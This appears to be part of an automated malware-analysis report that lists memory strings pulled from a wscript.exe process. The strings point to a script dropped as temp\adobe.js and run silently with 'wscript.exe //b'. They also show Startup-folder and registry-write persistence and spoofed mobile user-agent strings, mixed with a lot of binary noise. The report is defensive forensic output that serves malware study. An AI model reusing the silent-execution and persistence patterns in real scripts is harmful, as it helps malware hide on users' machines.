Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c\users\userta	memstr_fcb5a9ac-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (!d!	memstr_01a76017-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\onedrive	memstr_c823c025-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft\windows\recent	memstr_74704a52-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft\windows\templates	memstr_a072ad40-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: serses	memstr_cbee1684-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c\users\userns	memstr_d6779ca1-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft\windows\sendto	memstr_d0d16c9b-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e,ede\e	memstr_c0f50dea-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e f8b\f?	memstr_95e3c647-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]/qnn	memstr_e5c4236b-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: downloads	memstr_1f3502ec-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: downloadsd	memstr_4a399530-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .downloads	memstr_93a47152-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: onedriveb	memstr_a034add8-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .onedrive	memstr_8cd86cd7-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "false - 15/4/2025tringsop.ini	memstr_b9b94f84-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: swbemsecuritysetest2	memstr_e06c501d-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %@%p%	memstr_284403c9-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\videos\desktop.inil	memstr_de698e37-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft\windows\printer shortcutsb	memstr_974858f8-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\onedrive\desktop.inik	memstr_a2d9cba3-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: }d"pn	memstr_ebafa85d-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\downloads9	memstr_41142759-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\roaming2	memstr_98548ce4-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft\windows\network shortcuts%	memstr_568a3e4f-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tc:\users\user\appdata\local\temp\adobe.jssj	memstr_6a52b05a-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tc:\users\user\appdata\local\temp\adobe.jsn	memstr_8583668c-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tc:\users\user\appdata\local\temp\adobe.jsi	memstr_d1e6af91-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\windows.storage.dll,-21770	memstr_e28e12dd-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (non)standard marshaling for iwbemobjectsink2	memstr_c38d7b9d-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iconresource	memstr_e9d8cf98-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\program files (x86)\microsoft onedrive\onedrive.exe,1	memstr_786663cb-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iconresourcec:\program files (x86)\microsoft onedrive\onedrive.exe,1	memstr_b957b7c2-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s-tc:\users\user\appdata\local\temp\adobe.js	memstr_6e260bd3-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\favorites\desktop.ini	memstr_a0b69442-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tc:\users\user\appdata\local\temp\adobe.js	memstr_5c637ca7-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\ondemandconnroutehelper.dllx	memstr_2fc3c73b-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: js_sz	memstr_27d62e33-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: adobeathsq	memstr_169525ba-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: adobeell3k	memstr_c4994c22-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: common startuph	memstr_ec83464d-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: adobeesp_	memstr_4adf02a7-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\userp_	memstr_3e337251-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: egreadl38	memstr_913014d8-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: adobe.js7	memstr_bbf85663-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 15hoods	memstr_22ea8636-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: progr	memstr_e8ff0a9c-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: program@	memstr_eac790d4-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: indows	memstr_1229041e-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: indows@	memstr_09832748-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startup	memstr_7a155e3e-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startuph	memstr_6551acd4-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startup@shell32.dll,-21787	memstr_05455745-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $\rmio	memstr_dc7ecdd6-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sers\jon`#8	memstr_66e8a516-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tc:\users\user\appdata\local\temp\adobe.jschine\software\adobe\".	memstr_2321f2d9-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini	memstr_1b7e37ba-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: invalid root in registry key "hkey_local_machine\software\adobe\".	memstr_d4b3578e-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\roaming\microsoft\windows\printer shortcuts	memstr_a183a61a-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tc:\users\user\appdata\local\temp\adobe.jsal\temp\adobe(	memstr_5e6eb6e8-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sers\jon@"8	memstr_66375936-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tc:\users\user\appdata\local\temp\adobe.js	memstr_4e941cd5-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tc:\users\user\appdata\local\temp\adobe.jsal\temp\adobe	memstr_60c992c8-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jc:\windows\system32\wbem\wbemdisp.tlb	memstr_1f50c967-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \windows\printer	memstr_5f6924b1-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xwscript.exe //b "c:\users\user\appdata\local\temp\adobe.js"k	memstr_31f754a7-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \rxwscript.exe //b "c:\users\user\appdata\local\temp\adobe.js"ssesa	memstr_ac4af16e-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $]rmic	memstr_0a36fcb4-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xwscript.exe //b "c:\users\user\appdata\local\temp\adobe.js"programs	memstr_a0e86b37-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\roaming\microsoft\windows\start menu\desktop.ini;	memstr_b6807b51-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:xwscript.exe //b "c:\users\user\appdata\local\temp\adobe.js"tcuts1	memstr_86d80e63-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs	memstr_c0456120-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %utc:\users\user\appdata\local\temp\adobe.jstar menu\p	memstr_625355d3-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: roft	memstr_f66c286c-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\roaming\microsoft\windows\network shortcuts	memstr_efcd9c9f-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ~1gzet	memstr_467e82c0-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: desktop@shell32.dll,-21769	memstr_d8a4b684-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: micros~1	memstr_0f288a23-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: micros~1d	memstr_630b795f-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pr1microsoft	memstr_fee02dc7-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v1gzct	memstr_5b2295d6-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cwindows	memstr_df668f9a-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: printe~1	memstr_40c41996-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: printe~1t	memstr_2dd34b7a-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: printer shortcuts	memstr_87ba3855-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: templa~1	memstr_d6829948-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: templa~1d	memstr_95775068-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: networ~1	memstr_9e265734-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: networ~1t	memstr_311d4e05-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: network shortcuts	memstr_765a7e95-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startm~1	memstr_46fede26-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startm~1n	memstr_c933d747-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [localizedfilenames	memstr_cedecfa1-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: onedrive.lnkonedrive	memstr_ee69b300-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21782	memstr_b7ed74dd-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: immersive control panel.lnk@%systemroot%\immersivecontrolpanel\systemsettings.exe,-650	memstr_4ff982f6-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: progra~3hu	memstr_2ac1ea08-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shell3	memstr_cd350825-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cros~1	memstr_2870e8de-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cros~1di	memstr_aacf88d0-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rogram	memstr_01549c69-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: start menu@shell32.dll,-2	memstr_4474c25e-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\documents.	memstr_6d17ca7b-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "wshshell.regwritektopzmt.	memstr_d32fb8b9-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\ntmarta.dlll	memstr_0f785d1c-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\favorites	memstr_83dce664-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;?ones	memstr_62a97fb6-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appda	memstr_3c9bb946-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: favorites@shell32.dll,-21796	memstr_2f584c8f-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1gzet	memstr_80de97a9-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: favori~1	memstr_bcaed2ef-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: favori~1l	memstr_64299c55-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^gzet.	memstr_0256d790-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 202 (,	memstr_9094754a-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7t;h0h<	memstr_7b091645-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7$3t	memstr_b7157261-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0\|2l#89	memstr_562d9fab-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: )\8t*	memstr_af45a89d-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d7l4d=	memstr_b18b91fc-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 8@1l$d=	memstr_ed2eb96b-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mozilla/4.0 (compatible; msie 8.0; windows phone os 7.5; trident/4.0; iemobile/8.0)	memstr_b0627150-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mozilla/5.0 (compatible; msie 9.0; windows phone os 7.5; trident/5.0; iemobile/9.0)	memstr_4a283e6c-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l\|v0[	memstr_1bcf52e1-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rdj\|i	memstr_a7da49f5-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [\|utz	memstr_f20920c6-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z\fdkxia	memstr_d7e3a750-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: elw`k	memstr_b6336139-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [tqpy	memstr_155611b3-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x@tx-<yds	memstr_309d11ff-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j,x \	memstr_08018211-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xdelz8&	memstr_e2fbc1a7-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uodw0w`x	memstr_1900cf47-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @ @!@"@#@$@%@&@'@(@)@*@+@,@-@.@/@0@1@2@3@4@5@6@7@8@9@:@;@<@=@>@?@@@a@b@c@d@e@f@g@h@i@j@k@l@m@n@o@p@q@r@s@t@u@v@w@x@y@z@[@\@]@^@_@`@a@b@c@d@e@f@g@h@i@j@k@l@m@n@o@p@q@r@s@t@u@v@w@x@y@z@{@\|@}@~@	memstr_1c2ae218-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mozilla/4.0 (compatible; msie 7.0; windows phone os 7.0; trident/3.1; iemobile/7.0)	memstr_2e2a5701-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mozilla/4.0 (compatible; msie 7.0; windows phone os 7.0; trident/3.1; iemobile/7.0)t	memstr_97ac5dde-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mozilla/5.0 (compatible; msie 10.0; windows phone 8.0; trident/6.0; iemobile/10.0; arm; touch)	memstr_28326361-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mozilla/5.0 (windows phone 8.1; arm; trident/8.0; touch; rv:11.0; iemobile/11.0) like gecko	memstr_6bd6bfae-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mozilla/5.0 (windows phone 8.1; arm; trident/8.0; touch; rv:11.0; iemobile/11.0) like gecko2	memstr_468c3ca8-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mozilla/5.0 (windows phone 10.0; android 6.0.1) applewebkit/537.36 (khtml, like gecko) chrome/70.0.3538.102 mobile safari/537.36 edge/18.19045	memstr_e53349db-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t.@0n	memstr_2740ffcc-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: center2m32\wbem\wbemdisp.tlbh	memstr_4236d17f-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $8l`t	memstr_3ef8cef7-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0 t x	memstr_11a5da81-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: !0!p!p!	memstr_bb760d2f-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "8"`"	memstr_933353c5-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #@#l#	memstr_c1ded478-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $($h$l$	memstr_4b2ce6da-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %d%p%	memstr_b01d062f-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &,&l&t&	memstr_589f4d42-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: & 'p'p'	memstr_bf9bd321-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: '( (@(l(	memstr_48c9f98c-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ($)h)l)	memstr_105dbf22-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (lt	memstr_69d957fd-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +<+h+	memstr_299dcdbf-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +,0,x,	memstr_f0d0169b-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fax recipient.lnk@%systemroot%\system32\fxsresm.dll,-120	memstr_8427faf9-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mail recipient.mapimail@sendmail.dll,-4	memstr_80d900b0-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: desktop (create shortcut).desklink@sendmail.dll,-21	memstr_cd468663-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: compressed (zipped) folder.zfsendtotarget@zipfldr.dll,-10148	memstr_baa1a309-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: documents.mydocs@shell32.dll,-34575	memstr_77b0e891-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bluetooth file transfer.lnk@c:\windows\system32\fsquirt.exe,-2343	memstr_5126b660-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t1cw+^	memstr_5430c520-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sendto	memstr_1ac2bcad-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sendto>	memstr_973d3884-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kzsendto	memstr_77f12941-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t1gzet	memstr_7d3fba82-0
